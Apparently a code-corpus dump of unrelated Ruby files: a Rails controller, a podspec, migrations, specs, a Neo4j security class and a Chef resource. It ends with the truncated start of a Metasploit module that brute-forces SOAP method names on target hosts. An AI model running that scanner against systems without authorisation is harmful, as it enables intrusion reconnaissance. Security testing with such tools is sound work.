第三者への誹謗・中傷となる内容並びに特定の個人及び団体に関する情報等で公序良俗に反する内容は送信しないでください。</p>\r
EOS
receipt: <<EOS.chomp,
<p>ご意見・ご提案を受け付けました。<br />\r
自動返信メールが届いているかご確認ください。(送信までにお時間がかかる場合があります)</p>\r
EOS
confirmation: true,
sitemap_state: "visible",
index_link: "visible",
mail_attachment: false
)
| 23.418605 | 63 | 0.713009 |
d579a3ca2164116270b7cbec08b7b02a0ae64d4c | 907 | class MicropostsController < ApplicationController
before_action :logged_in_user, only: [:create, :destroy]
before_action :correct_user, only: :destroy
def create
@micropost = current_user.microposts.build(micropost_params)
if @micropost.save
flash[:success] = "Micropost created!"
redirect_to root_url
else
@feed_items = current_user.feed.paginate(page: params[:page])
render 'static_pages/home'
end
end
def destroy
@micropost.destroy
flash[:success] = "Micropost deleted"
redirect_back(fallback_location: root_url)
end
private
def micropost_params
params.require(:micropost).permit(:content, :picture)
end
def correct_user
@micropost = current_user.microposts.find_by(id: params[:id])
redirect_to root_url if @micropost.nil?
end
end | 28.34375 | 69 | 0.658214 |
acaa8bb6fcdf2aed33fe89ebec2e03d5bea476e7 | 5,133 | #
# Be sure to run `pod spec lint TSChatClient.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "Linqto"
s.version = "0.0.1"
s.summary = "LinqtoSDK iOS Framework."
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = "Linqto's SDK. Getting Branding properties from json or xml. Sending API to log user activity log."
s.homepage = "http://www.linqto.com/Linqto.aspx"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
s.license = "MIT"
# s.license = { :type => "MIT", :file => "FILE_LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = { "Linqto Inc" => "[email protected]" }
# Or just: s.author = "Wontai Ki"
# s.authors = { "Wontai Ki" => "[email protected]" }
# s.social_media_url = "http://twitter.com/Wontai Ki"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
s.platform = :ios
# s.platform = :ios, "5.0"
# When using multiple platforms
s.ios.deployment_target = "8.0"
s.ios.vendored_framework = 'Linqto.framework'
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/ds1adr/Linqto.git", :tag => "0.0.1" }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
#s.source_files = "Classes", "Linqto/**/*.{h}"
#s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
s.frameworks = "Foundation", "UIKit"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
# s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "JSONKit", "~> 1.4"
end
| 37.195652 | 119 | 0.595169 |
876cb06de6fc05c8e11dbe9257f8dcf394153571 | 928 | class CreateTaMappings < ActiveRecord::Migration
def self.up
create_table :ta_mappings do |t|
t.column :ta_id, :integer
t.column :course_id, :integer
end
add_index "ta_mappings", ["ta_id"], :name => "fk_ta_mappings_ta_id"
execute "alter table ta_mappings
add constraint fk_ta_mappings_ta_id
foreign key (ta_id) references users(id)"
add_index "ta_mappings", ["course_id"], :name => "fk_ta_mappings_course_id"
execute "alter table ta_mappings
add constraint fk_ta_mappings_course_id
foreign key (course_id) references courses(id)"
end
def self.down
execute "ALTER TABLE ta_mappings
DROP FOREIGN KEY fk_ta_mappings_course_id"
execute "ALTER TABLE ta_mappings
DROP FOREIGN KEY fk_ta_mappings_ta_id"
drop_table :ta_mappings
end
end
| 26.514286 | 77 | 0.639009 |
39ef7901bce1b4f0e92bef23f764a6f170434573 | 429 | require "pathname"
require "thin"
require "sinatra"
require "coffee-script"
require "slim"
require "gush"
require "sinatra-websocket"
require "sinatra/assetpack"
require "gush/control/version"
require "gush/control/app"
require "gush/control/cli_extension"
require "gush/control/log_sender"
module Gush
module Control
def self.rackup_path
Pathname(__FILE__).dirname.parent.parent.join("config.ru")
end
end
end
| 20.428571 | 64 | 0.7669 |
fff0d2ffd0fb9b151b25a24ccdd7eeca6e9099a0 | 295 | class StaticController < ApplicationController
before_action :require_logged_in
skip_before_action :require_logged_in, only: [:home]
def home
render "/static/home"
end
def about
render "about"
end
def questions
render "questions"
end
end | 17.352941 | 56 | 0.664407 |
38ec9c2a483677811b9442c774054a3cbad8defa | 270 | module Aliyun
module Log
module Record
class ArgumentError < StandardError; end
class UnknownAttributeError < StandardError; end
class ProjectNameError < StandardError; end
class ParseStatementInvalid < StandardError; end
end
end
end
| 24.545455 | 54 | 0.72963 |
87c1ca44d70874d412044f65858a0169f69f323d | 1,838 | # encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
get '/' do
erb "Hello! <a href=\"https://github.com/bootstrap-ruby/sinatra-bootstrap\">Original</a> pattern has been modified for <a href=\"http://rubyschool.us/\">Ruby School</a>"
end
get '/about' do
erb :about
end
get '/visit' do
erb :visit
end
post '/visit' do
# user_name, phone, date_time
@error = ''
hh = {:user_name => 'имя', :phone => 'телефон', :date_time => 'дату и время посещения'}
@user_name = params[:user_name]
@phone = params[:phone]
@date_time = params[:date_time]
@baber = params[:baber]
@color = params[:color1]
# if hh{:user_name} == ''
# @error = 'NAME ABCENSE!!!!!'
# end
@error = hh.select {|key| params[key] == ''}.values.join(", ")
@error = "Введите " + @error if @error != ''
return erb :visit if @error != ''
# if params[key] == ''
# @error = value
# return erb :visit
# end
# end
@title = "Thank you!"
@message = "Уважаемый #{@user_name}, мы ждём вас #{@date_time} у выбранного парикмахера #{@baber}, color #{@color}."
# запишем в файл то, что ввёл клиент
f = File.open './public/users.txt', 'a'
f.write "User: #{@user_name}, phone: #{@phone}, date and time: #{@date_time}, Baber: #{@baber}, #{@color}.\n"
f.close
erb :message
end
get '/admin' do
erb :admin
end
post '/admin' do
@login = params[:login]
@password = params[:password]
# проверим логин и пароль, и пускаем внутрь или нет:
if @login == 'admin' && @password == '12345'
@logfile = File.open("./public/users.txt", "r:utf-8")
@contents = @logfile.read
@logfile.close
erb :watch_result
# @file.close - должно быть, но тогда не работает. указал в erb
else
@report = '<p>Доступ запрещён! Неправильный логин или пароль.</p>'
erb :admin
end
end | 25.527778 | 173 | 0.616431 |
62f1967f13be771b194f26422a8c2d7802dff45a | 5,225 | require 'spec_helper'
describe 'Reference resources' do
before(:all) do
RSpec.configure { |c| c.include RSpecMixin }
@temp=configure_empty_sqlite
sr_for_report
@ref_1="Al-Zubidy A, Carver JC. Identification and prioritization of SLR search tool requirements: an SLR and a survey. Empir Softw Eng. 2018;1–31"
@ref_2="Al-Zubidy A, Carver JC, Hale DP, Hassler EE. Vision for SLR tooling infrastructure: Prioritizing value-added requirements. Inf Softw Technol. Elsevier; 2017 Nov 1;91:72–81."
@ref_3="Al-Zubidy , Carver , Hale , Hassler EE. Vision for SLR tooling infrastructure: Prioritizing value-added requirements. Inf Softw Technol. Elsevier; 2017 1;91:72–81."
create_references(texts:[@ref_1,@ref_2 , @ref_3], record_id:1)
CanonicalDocument[1].update(title:"Identification and prioritization of SLR search tool requirements: an SLR and a survey")
Reference.get_by_text(@ref_1).update(doi:"10.1016/J.INFSOF.2017.06.007")
login_admin
end
def reference_doi
Reference.get_by_text(@ref_1)
end
def reference_wo_doi
Reference.get_by_text(@ref_2)
end
context 'when reference with DOI is retrieved' do
before(:context) do
get "/reference/#{reference_doi[:id]}"
end
it "should response be ok" do
expect(last_response).to be_ok
end
it "should show its code" do
expect(last_response.body).to include(reference_doi[:id])
end
it "should show its DOI" do
expect(last_response.body).to include(reference_doi[:doi])
end
end
context "when similar references are retrieved from a reference with canonical" do
before(:context) do
get "/reference/#{reference_doi[:id]}/search_similar?distancia=10"
end
it "should response be ok" do
expect(last_response).to be_ok
end
it "should show its code" do
expect(last_response.body).to include(reference_doi[:id])
end
it "should show that are nothing similar without canonical" do
expect(last_response.body).to include(I18n::t(:No_similar_references_without_canonical))
end
end
context "when similar references are retrieved from a reference without canonical and similar reference" do
before(:context) do
get "/reference/#{reference_wo_doi[:id]}/search_similar?distancia=20"
end
it "should response be ok" do
expect(last_response).to be_ok
end
it "should show its code" do
expect(last_response.body).to include(reference_wo_doi[:id])
end
it "should show that are similar references without canonical" do
expect(last_response.body).to_not include(I18n::t(:No_similar_references_without_canonical))
end
end
context "when assign DOI to a reference without it" do
before(:context) do
@doi=reference_doi.doi
reference_doi.update(:doi=>nil)
get "/reference/#{reference_doi[:id]}/assign_doi/#{@doi.gsub('/','***')}"
end
it "response should be redirect" do
expect(last_response).to be_redirect
end
it "reference should have correct doi" do
expect(reference_doi.doi).to eq(@doi)
end
end
context "when assign canonical document to a reference" do
before(:context) do
reference_doi.update(canonical_document_id:nil)
post '/reference/assign_canonical_document', cd_id:1, ref_id:reference_doi[:id]
end
it "response should be redirect" do
expect(last_response).to be_redirect
end
it "reference should have correct doi" do
expect(reference_doi.canonical_document_id).to eq(1)
end
after(:context) do
reference_doi.update(canonical_document_id:nil)
end
end
context "when mergin similar references" do
before(:context) do
$db[:bib_references].update(canonical_document_id:nil)
r_1=Reference.get_by_text(@ref_1)
r_1.update(canonical_document_id:1)
post "/reference/#{r_1.id}/merge_similar_references", reference:{Reference.calculate_id(@ref_2)=>'true', Reference.calculate_id(@ref_3)=>'true' }
end
it "response should be redirect" do
expect(last_response).to be_redirect
end
it "all references should have same canonical document" do
expect(Reference.where(:canonical_document_id=>1).count).to eq(3)
end
after(:context) do
$db[:bib_references].update(canonical_document_id:nil)
end
end
context "on assign canonical document to a reference" do
before(:context) do
$db[:bib_references].update(canonical_document_id:nil)
get "/review/1/reference/#{reference_doi.id}/assign_canonical_document"
end
it "response should be ok" do
expect(last_response).to be_ok
end
it "response should include reference text" do
#p last_response.body
expect(last_response.body).to include(reference_doi.text)
end
it "response should include list of canonical documents if title is set" do
get "/review/1/reference/#{reference_doi.id}/assign_canonical_document", :query=>{title:"Identification"}
expect(last_response).to be_ok
expect(last_response.body).to include(I18n::t(:Count_canonical_documents))
end
after(:context) do
$db[:bib_references].update(canonical_document_id:nil)
end
end
end | 36.538462 | 185 | 0.713301 |
b9ef4525f974913fd52a1cd9fbdf3aa0af4abc9c | 3,342 | #
# Author:: Jason Field
#
# Copyright:: 2018, Calastone Ltd.
# Copyright:: Copyright (c) Chef Software Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require_relative "../resource"
class Chef
class Resource
class WindowsDfsFolder < Chef::Resource
unified_mode true
provides :windows_dfs_folder
description "Use the **windows_dfs_folder** resource to creates a folder within DFS as many levels deep as required."
introduced "15.0"
property :folder_path, String,
description: "An optional property to set the path of the dfs folder if it differs from the resource block's name.",
name_property: true
property :namespace_name, String,
description: "The namespace this should be created within.",
required: true
property :target_path, String,
description: "The target that this path will connect you to."
property :description, String,
description: "Description for the share."
action :create, description: "Creates the folder in dfs namespace." do
raise "target_path is required for install" unless property_is_set?(:target_path)
raise "description is required for install" unless property_is_set?(:description)
powershell_script "Create or Update DFS Folder" do
code <<-EOH
$needs_creating = (Get-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' -ErrorAction SilentlyContinue) -eq $null
if (!($needs_creating))
{
Remove-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' -Force
}
New-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' -TargetPath '#{new_resource.target_path}' -Description '#{new_resource.description}'
EOH
not_if "return ((Get-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' -ErrorAction SilentlyContinue).Description -eq '#{new_resource.description}' -and (Get-DfsnFolderTarget -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}').TargetPath -eq '#{new_resource.target_path}' )"
end
end
action :delete, description: "Deletes the folder in the dfs namespace." do
powershell_script "Delete DFS Namespace" do
code <<-EOH
Remove-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' -Force
EOH
only_if "return ((Get-DfsnFolder -Path '\\\\#{ENV["COMPUTERNAME"]}\\#{new_resource.namespace_name}\\#{new_resource.folder_path}' ) -ne $null)"
end
end
end
end
end
| 45.162162 | 387 | 0.685518 |
0350906a999ead8e2175685e5c2fe5932c687b04 | 119 | class AddAddressToShelter < ActiveRecord::Migration
def change
add_column :shelters, :address, :string
end
end
| 19.833333 | 51 | 0.764706 |
ff182b706a118b6b1f908f6c8ef90588a2c5a236 | 5,046 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Hdinsight::Mgmt::V2018_06_01_preview
module Models
#
# The security profile which contains Ssh public key for the HDInsight
# cluster.
#
class SecurityProfile
include MsRestAzure
# @return [DirectoryType] The directory type. Possible values include:
# 'ActiveDirectory'
attr_accessor :directory_type
# @return [String] The organization's active directory domain.
attr_accessor :domain
# @return [String] The organizational unit within the Active Directory to
# place the cluster and service accounts.
attr_accessor :organizational_unit_dn
# @return [Array<String>] The LDAPS protocol URLs to communicate with the
# Active Directory.
attr_accessor :ldaps_urls
# @return [String] The domain user account that will have admin
# privileges on the cluster.
attr_accessor :domain_username
# @return [String] The domain admin password.
attr_accessor :domain_user_password
# @return [Array<String>] Optional. The Distinguished Names for cluster
# user groups
attr_accessor :cluster_users_group_dns
# @return [String] The resource ID of the user's Azure Active Directory
# Domain Service.
attr_accessor :aadds_resource_id
# @return [String] User assigned identity that has permissions to read
# and create cluster-related artifacts in the user's AADDS.
attr_accessor :msi_resource_id
#
# Mapper for SecurityProfile class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'SecurityProfile',
type: {
name: 'Composite',
class_name: 'SecurityProfile',
model_properties: {
directory_type: {
client_side_validation: true,
required: false,
serialized_name: 'directoryType',
type: {
name: 'Enum',
module: 'DirectoryType'
}
},
domain: {
client_side_validation: true,
required: false,
serialized_name: 'domain',
type: {
name: 'String'
}
},
organizational_unit_dn: {
client_side_validation: true,
required: false,
serialized_name: 'organizationalUnitDN',
type: {
name: 'String'
}
},
ldaps_urls: {
client_side_validation: true,
required: false,
serialized_name: 'ldapsUrls',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
domain_username: {
client_side_validation: true,
required: false,
serialized_name: 'domainUsername',
type: {
name: 'String'
}
},
domain_user_password: {
client_side_validation: true,
required: false,
serialized_name: 'domainUserPassword',
type: {
name: 'String'
}
},
cluster_users_group_dns: {
client_side_validation: true,
required: false,
serialized_name: 'clusterUsersGroupDNs',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
aadds_resource_id: {
client_side_validation: true,
required: false,
serialized_name: 'aaddsResourceId',
type: {
name: 'String'
}
},
msi_resource_id: {
client_side_validation: true,
required: false,
serialized_name: 'msiResourceId',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 31.5375 | 79 | 0.493658 |
bffeb10f2c66763b1ae350961f71b9552f03129b | 3,309 | describe CredentialsManager do
describe CredentialsManager::AccountManager do
let(:user) { "[email protected]" }
let(:password) { "suchSecret" }
it "allows passing user and password" do
c = CredentialsManager::AccountManager.new(user: user, password: password)
expect(c.user).to eq(user)
expect(c.password).to eq(password)
end
it "loads the user from the new 'FASTLANE_USER' variable" do
ENV['FASTLANE_USER'] = user
c = CredentialsManager::AccountManager.new
expect(c.user).to eq(user)
ENV.delete('FASTLANE_USER')
end
it "loads the password from the new 'FASTLANE_PASSWORD' variable" do
ENV['FASTLANE_PASSWORD'] = password
c = CredentialsManager::AccountManager.new
expect(c.password).to eq(password)
ENV.delete('FASTLANE_PASSWORD')
end
it "still supports the legacy `DELIVER_USER` `DELIVER_PASSWORD` format" do
ENV['DELIVER_USER'] = user
ENV['DELIVER_PASSWORD'] = password
c = CredentialsManager::AccountManager.new
expect(c.user).to eq(user)
expect(c.password).to eq(password)
ENV.delete('DELIVER_USER')
ENV.delete('DELIVER_PASSWORD')
end
it "fetches the Apple ID from the Appfile if available" do
Dir.chdir("./credentials_manager/spec/fixtures/") do
c = CredentialsManager::AccountManager.new
expect(c.user).to eq("[email protected]")
end
end
it "automatically loads the password from the keychain" do
ENV['FASTLANE_USER'] = user
c = CredentialsManager::AccountManager.new
dummy = Object.new
expect(dummy).to receive(:password).and_return("Yeah! Pass!")
expect(Security::InternetPassword).to receive(:find).with(server: "[email protected]").and_return(dummy)
expect(c.password).to eq("Yeah! Pass!")
ENV.delete('FASTLANE_USER')
end
it "loads the password from the keychain if empty password is stored by env" do
ENV['FASTLANE_USER'] = user
ENV['FASTLANE_PASSWORD'] = ''
c = CredentialsManager::AccountManager.new
dummy = Object.new
expect(dummy).to receive(:password).and_return("Yeah! Pass!")
expect(Security::InternetPassword).to receive(:find).with(server: "[email protected]").and_return(dummy)
expect(c.password).to eq("Yeah! Pass!")
ENV.delete('FASTLANE_USER')
ENV.delete('FASTLANE_PASSWORD')
end
it "removes the Keychain item if the user agrees when the credentials are invalid" do
expect(Security::InternetPassword).to receive(:delete).with(server: "[email protected]").and_return(nil)
c = CredentialsManager::AccountManager.new(user: "[email protected]")
expect(c).to receive(:ask_for_login).and_return(nil)
c.invalid_credentials(force: true)
end
it "defaults to 'deliver' as a prefix" do
c = CredentialsManager::AccountManager.new(user: user)
expect(c.server_name).to eq("deliver.#{user}")
end
it "supports custom prefixes" do
prefix = "custom-prefix"
c = CredentialsManager::AccountManager.new(user: user, prefix: prefix)
expect(c.server_name).to eq("#{prefix}.#{user}")
end
end
after(:each) do
ENV.delete("FASTLANE_USER")
ENV.delete("DELIVER_USER")
end
end
| 35.202128 | 119 | 0.679662 |
d55800fbcc2be3da16caae721fb316ac32749d28 | 2,158 | module Sidekiq
module JobMonitor
class Job
attr_reader :attributes, :original_job
def initialize(attributes)
@attributes = attributes.as_json(only: %w(class jid args state))
@original_job = attributes[:original_job]
end
def save
Sidekiq.redis do |conn|
conn.set(store_key, serialize)
# Expire key in 1 hours to avoid garbage keys
conn.expire(store_key, 3_600) if conn.ttl(store_key) == -1
end
end
def store_key
@store_key ||= self.class.store_key_for(attributes['jid'])
end
def serialize
attributes.to_json
end
def state
@state ||= attributes['state'] || 'pending'
end
# Add #processing!, #complete! and #failed! methods
%w(processing complete failed).each do |key|
define_method(:"#{ key }!") do
self.state = key
save
end
end
def state=(value)
@state = attributes['state'] = value
end
def as_json(*args)
attributes.as_json(*args)
end
def worker
attributes['class'].constantize
end
def monitoring_data
worker_instance = worker.new
worker_instance.jid = attributes['jid']
if worker_instance.respond_to?(:monitoring_data)
worker_instance.monitoring_data(*attributes['args'], state)
end
end
def cancel
return unless original_job
original_job.delete
end
class << self
def find(jid)
find_in_queues(jid) || find_in_previous(jid)
end
def store_key_for(jid)
['sidekiq-job_monitor', jid].join(':')
end
private
def find_in_queues(jid)
job = Sidekiq::Queue.new.find_job(jid)
return unless job
attributes = { original_job: job }.merge(job.item)
new(attributes)
end
def find_in_previous(jid)
data = Sidekiq.redis do |conn|
conn.get(store_key_for(jid))
end
new(JSON.parse(data)) if data
end
end
end
end
end
| 22.715789 | 72 | 0.569972 |
5d0cd26cf098869513ef65e84f00d4581fc97581 | 2,765 | # frozen_string_literal: true
module Neo4j::Driver::Internal
class SecuritySetting
include Scheme
attr_reader :encrypted, :trust_strategy, :customized
def initialize(encrypted, trust_strategy, customized)
@encrypted = encrypted
@trust_strategy = trust_strategy
@customized = customized
end
def create_security_plan(uri_scheme)
validate_scheme!(uri_scheme)
begin
if security_scheme?(uri_scheme)
assert_security_settings_not_user_configured(uri_scheme)
create_security_plan_from_scheme(uri_scheme)
else
create_security_plan_impl(encrypted, trust_strategy)
end
rescue java.security.GeneralSecurityException, java.io.IOException
raise Neo4j::Driver::Exceptions::ClientException, 'Unable to establish SSL parameters'
end
end
def create_security_plan_from_scheme(uri_scheme)
if high_trust_scheme?(uri_scheme)
org.neo4j.driver.internal.security.SecurityPlanImpl.forSystemCASignedCertificates(
true, org.neo4j.driver.internal.RevocationStrategy::NO_CHECKS
)
else
org.neo4j.driver.internal.security.SecurityPlanImpl.forAllCertificates(false, org.neo4j.driver.internal.RevocationStrategy::NO_CHECKS)
end
end
private
def assert_security_settings_not_user_configured(uri_scheme)
return unless customized
raise Neo4j::Driver::Exceptions::ClientException,
"Scheme #{uri_scheme} is not configurable with manual encryption and trust settings"
end
def create_security_plan_impl(encrypted, trust_strategy)
return org.neo4j.driver.internal.security.SecurityPlanImpl.insecure unless encrypted
hostname_verification_enabled = trust_strategy.hostname_verification_enabled?
revocation_strategy = trust_strategy.revocation_strategy
case trust_strategy.strategy
when Config::TrustStrategy::TRUST_CUSTOM_CA_SIGNED_CERTIFICATES
return org.neo4j.driver.internal.security.SecurityPlanImpl.forCustomCASignedCertificates(
trust_strategy.cert_file_to_java, hostname_verification_enabled, revocation_strategy
)
when Config::TrustStrategy::TRUST_SYSTEM_CA_SIGNED_CERTIFICATES
return org.neo4j.driver.internal.security.SecurityPlanImpl.forSystemCASignedCertificates(
hostname_verification_enabled, revocation_strategy
)
when Config::TrustStrategy::TRUST_ALL_CERTIFICATES
return org.neo4j.driver.internal.security.SecurityPlanImpl.forAllCertificates(
hostname_verification_enabled, revocation_strategy
)
else
raise ClientException, "Unknown TLS authentication strategy: #{trust_strategy.strategy}"
end
end
end
end
| 37.876712 | 142 | 0.752984 |
9145e9af3189b502286dc056fa1bd0a110ff8ed4 | 1,230 | module GitStats
module Inspector
def to_s
vars = defined_ivars.map do |sym|
value = if ivars_to_be_filtered.include?(sym)
'...'
else
var = instance_variable_get(sym)
var.is_a?(String) ? %("#{var}") : var.inspect
end
[sym, value].join('=')
end
vars = vars.join(', ').presence
"#<#{[self.class, vars].compact.join(' ')}>"
end
def inspect
to_s
end
def pretty_print(pp)
pp.object_address_group(self) do
pp.seplist(defined_ivars, proc { pp.text(',') }) do |attr_name|
pp.breakable(' ')
pp.group(1) do
pp.text(attr_name.to_s)
pp.text('=')
if ivars_to_be_filtered.include?(attr_name)
pp.text('...')
else
pp.pp(instance_variable_get(attr_name))
end
end
end
end
end
private
def ivars_to_be_displayed
instance_variables
end
def ivars_to_be_filtered
[]
end
def defined_ivars
(ivars_to_be_displayed | ivars_to_be_filtered).select { |sym| instance_variable_defined?(sym) }
end
end
end
| 23.207547 | 101 | 0.527642 |
1de03232f91d5bf5fb10d13c843c15bcd6f00e07 | 1,451 | require 'rubygems'
require 'bundler/setup'
ENV['RACK_ENV'] = 'test'
require 'standby'
ActiveRecord::Base.configurations = {
'test' => { 'adapter' => 'sqlite3', 'database' => 'test_db', 'pool' => 30 },
'test_standby' => { 'adapter' => 'sqlite3', 'database' => 'test_standby_one', 'pool' => 30 },
'test_standby_two' => { 'adapter' => 'sqlite3', 'database' => 'test_standby_two', 'pool' => 30 },
'test_standby_three' => { 'adapter' => 'postgresql', 'database' => 'test_standby_three', 'pool' => 10, 'checkout_timeout' => 1 },
'test_standby_url' => 'postgres://root:@localhost:5432/test_standby'
}
# Prepare databases
class User < ActiveRecord::Base
has_many :items
end
class Item < ActiveRecord::Base
belongs_to :user
end
class Seeder
def run
# Populate on primary
connect(:test)
create_tables
User.create
User.create
User.first.items.create
# Populate on standby, emulating replication lag
connect(:test_standby)
create_tables
User.create
# Populate on standby two
connect(:test_standby_two)
create_tables
# Reconnect to primary
connect(:test)
end
def create_tables
ActiveRecord::Base.connection.create_table :users, force: true
ActiveRecord::Base.connection.create_table :items, force: true do |t|
t.references :user
end
end
def connect(env)
ActiveRecord::Base.establish_connection(env)
end
end
Seeder.new.run
| 24.183333 | 131 | 0.665748 |
d5ed54b9c5530e475daf7917e26c790c41a45f62 | 1,586 | # frozen_string_literal: true
module Faker
class Music
class Prince < Base
class << self
##
# Produces a random Prince song.
#
# @return [String]
#
# @example
# Faker::Music::Prince.song #=> "Raspberry Beret"
# Faker::Music::Prince.song #=> "Starfish And Coffee"
#
# @faker.version next
def song
fetch('prince.song')
end
##
# Produces a random Prince song lyric.
#
# @return [String]
#
# @example
# Faker::Music::Prince.lyric #=> "Dearly beloved, we are gathered here today to get through this thing called life."
# Faker::Music::Prince.lyric #=> "You were so hard to find, the beautiful ones, they hurt you every time."
#
# @faker.version next
def lyric
fetch('prince.lyric')
end
##
# Produces a random Prince album.
#
# @return [String]
#
# @example
# Faker::Music::Prince.album #=> "The Gold Experience"
# Faker::Music::Prince.album #=> "Purple Rain"
#
# @faker.version next
def album
fetch('prince.album')
end
##
# Produces a random Prince-associated band.
#
# @return [String]
#
# @example
# Faker::Music::Prince.band #=> "The New Power Generation"
#
# @faker.version next
def band
fetch('prince.band')
end
end
end
end
end
| 24.4 | 126 | 0.495586 |
2836f087b2ec9fb80e89a1756f88a7a09dcce240 | 5,964 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::WmapScanDir
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP SOAP Verb/Noun Brute Force Scanner',
'Description' => %q{
This module attempts to brute force SOAP/XML requests to uncover
hidden methods.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE))
register_options(
[
OptString.new('PATH', [ true, "The path to test", '/']),
OptString.new('XMLNAMESPACE', [ true, "XML Web Service Namespace", 'http://tempuri.org/']),
OptString.new('XMLINSTANCE', [ true, "XML Schema Instance", 'http://www.w3.org/2001/XMLSchema-instance']),
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
OptBool.new('SSL', [ true, "Use SSL", false ]),
OptBool.new('VERB_DELETE', [ false, "Enable 'delete' verb", 'false'])
], self.class)
end
# Fingerprint a single host
def run_host(ip)
verbs = [
'get',
'active',
'activate',
'create',
'change',
'set',
'put',
'do',
'go',
'resolve',
'start',
'recover',
'initiate',
'negotiate',
'define',
'stop',
'begin',
'end',
'manage',
'administer',
'modify',
'register',
'log',
'add',
'list',
'query',
]
